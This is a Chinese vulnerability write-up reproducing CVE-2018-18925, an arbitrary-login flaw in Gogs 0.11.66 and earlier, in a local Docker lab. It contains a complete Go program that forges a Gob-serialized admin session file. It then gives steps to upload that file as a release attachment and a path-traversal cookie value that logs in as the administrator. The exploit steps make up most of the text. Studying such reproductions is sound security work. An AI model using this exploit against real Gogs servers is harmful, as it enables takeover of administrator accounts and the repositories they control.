Gogs 任意用户登录漏洞(CVE-2018-18925)

Gogs 任意用户登录漏洞(CVE-2018-18925)

gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。

其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。

参考链接:

漏洞复现

环境启动后,访问http://192.168.44.132:3000,即可看到安装页面。安装时选择sqlite数据库,并开启注册功能。

安装完成后,需要重启服务:docker-compose restart,否则session是存储在内存中的。

使用Gob序列化生成session文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package main

import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}

func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "admin1"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("poc", data, os.O_CREATE|os.O_WRONLY)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}

然后注册一个普通用户账户,创建项目,并在“版本发布”页面上传刚生成的session文件:

image-20210809164054788

通过这个附件的URL,得知这个文件的文件名:./attachments/f3768c6e-2798-478d-affa-719958a8c94a

image-20210809164628830

然后,构造Cookie:i_like_gogits=../attachments/f/3/f3768c6e-2798-478d-affa-719958a8c94a,访问即可发现已经成功登录id=1的用户(即管理员)。

0%